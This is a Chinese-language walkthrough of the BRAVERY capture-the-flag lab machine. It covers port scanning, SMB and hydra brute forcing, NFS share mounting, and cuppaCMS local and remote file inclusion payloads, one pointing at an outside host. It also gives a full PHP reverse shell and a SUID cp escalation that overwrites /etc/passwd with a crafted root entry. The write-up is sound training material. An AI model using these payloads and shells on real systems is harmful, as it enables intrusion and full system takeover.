BRAVERY靶场搭建教程

靶场名称:DIGITALWORLD.LOCAL: BRAVERY
下载地址:点击这里

安装过程很简单,为了方便我把网络由NAT改成了桥接模式

主机发现:
arp-scan -l

端口扫描

nmap -sV -sC -A -T4 192.168.1.15 -p-

-sV:扫描端口开启的服务
-sC:使用默认脚本扫描
-A:强力扫描
-T4:快速扫描
-p-:全端口扫描

端口开放情况如下

22/tcp    open  tcpwrapped
53/tcp    open  domain      dnsmasq 2.76
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp   open  ssl/http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     3 (RPC #100227)
3306/tcp  open  mysql       MariaDB (unauthorized)
8080/tcp  open  http        nginx 1.12.2
20048/tcp open  mountd      1-3 (RPC #100005)
39553/tcp open  nlockmgr    1-4 (RPC #100021)
50415/tcp open  status      1 (RPC #100024)

开了http服务,访问一下80,8080端口

分别对这两个网站测试,
80端口:使用dirb找一下网站目录

访问一下相关页面
http://192.168.1.15/8

http://192.168.1.15/about

http://192.168.1.15/phpinfo.php

最后在http://192.168.1.15/uploads/files/internal/department/procurement/sara/note.txt中找到一条线索

网站用了cuppaCMS,之前打靶场碰到过这个CMS有一个文件包含漏洞,但是爆破了一下80没有找到这个CMS页面
80端口页面测试结束找到一条信息

8080页面:
使用dirb找一下网站目录

关键几条目录是robots.txt以及该页面显示的目录,private,public分别访问一下
http://192.168.1.15:8080/robots.txt

http://192.168.1.15:8080/cgi-bin

http://192.168.1.15:8080/qwertyuiop.html

http://192.168.1.15:8080/private/

http://192.168.1.15:8080/public/

在public目录下发现web页面,但是没找到有用的东西,也没发现cuppaCMS页面
Web页面没啥信息,再看一下其他端口

访问一下445端口

有两个文件夹,其中anonymous可以访问

里面目录很多,但是没有啥重要的东西,我想把这些名字收集起来做成一个用户名字典,然后用hydra跑一下,结果没跑出来
hydra -L username.txt -P pass.txt smb://192.168.1.15/secured -f -vv

又尝试爆破3306和22端口,3306端口不允许外部IP连接22端口有WAF,爆破一会IP就会被封,剩下的端口都没怎么接触过,就在网上一边搜,一边测试,通过下面的文章发现了NFS共享信息泄露漏洞点击这里查看

首先可以使用msf中的辅助模块扫描一下是否存在该漏洞

也可以使用showmount命令直接查看

然后使用mount命令将目标目录挂载到本地
mount -t nfs 192.168.1.15:/var/nfsshare ./brave

在这些文件中寻找信息,

其中在qwertyuioplkjhgfdsazxcvbnm中的内容很有意思

有时候你在寻找的答案就在眼前。
这个文件命名本身就很奇怪,我觉得这应该是某个用户的密码,结合之前的爆破过程这个应该就是smb服务下的secured文件下的某个用户密码,但是hydra爆破不出来,我不知道问什么会这样,在NFS服务中就出现了david这个用户,可能就是它的密码吧
试了试果然是david的密码

查看这三个文件信息


其中第一个文件夹应该是和这个系列的第一个靶场有关,第二个出现了genevieve这个目录,访问一下
嘿嘿,在80站点成功访问

在这个页面下找到cuppaCMS的入口

这个cms漏洞实在cuppa根目录下的alerts/alertConfigField.php文件中,相关payload
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt

http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

分别测试一下本地文件包含,和远程文件包含

都没问题,那就在写一个一句话木马,通过python开启一个http服务让他远程包含

测试一下没有问题

使用蚁剑连接

由于蚁剑的虚拟终端不方便,我通过蚁剑在80网站根目录上传一个shell.php文件再反弹一个shell

文件内容如下

<?php 
set_time_limit(0); 
$ip=$_POST['ip'];
$port=$_POST['port'];
$ip= "192.168.1.12"; //监听地址
$port= 8888; //监听ip
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
    fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
    while(!feof($fp)){
    fputs($fp,"shell:");
    $shell=fgets($fp);
    $message=`$shell`;
    fputs($fp,$message);
    }
fclose($fp);
}
?>

Kali开启监听后只需要通过浏览器访问这个文件就能得到一个shell

接下来就是提权了
我这里使用的是suid提权
关于suid提权可以看这个文章:在这查看
首先执行命令,查看支持suid的命令
find / -perm -u=s -type f 2>/dev/null

其中cp可以进行suid提权,提权方法是,按照/etc/passwd中的用户格式写一个用户,
root:x:0:0:root:/root:/bin/bash
其中的x换为加密后的密码,比如我们希望密码是12345,那么需要通过撒盐加密然后替换x并写入到目标文件
使用openssl生成密码
openssl passwd -1 -salt salt 123456

-1 :md5 加密
-salt: 指定盐,不指定也行使用默认
123456:等待加密的明文密码

将以上组合成下面的
root:$1$test$at615QShYKduQlx5z9Zm7/:0:0:root:/root:/bin/bash

这里不是交互式shell,还得通过nc反弹一个shell,然后通过“python -c 'import pty;pty.spawn("/bin/sh")'”获取一个交互式shell

把上面的字符串先放到一个文件中,然后通过cp复制到/etc/passwd

可以看到已经成功了,然后切换到root用户即可

成功!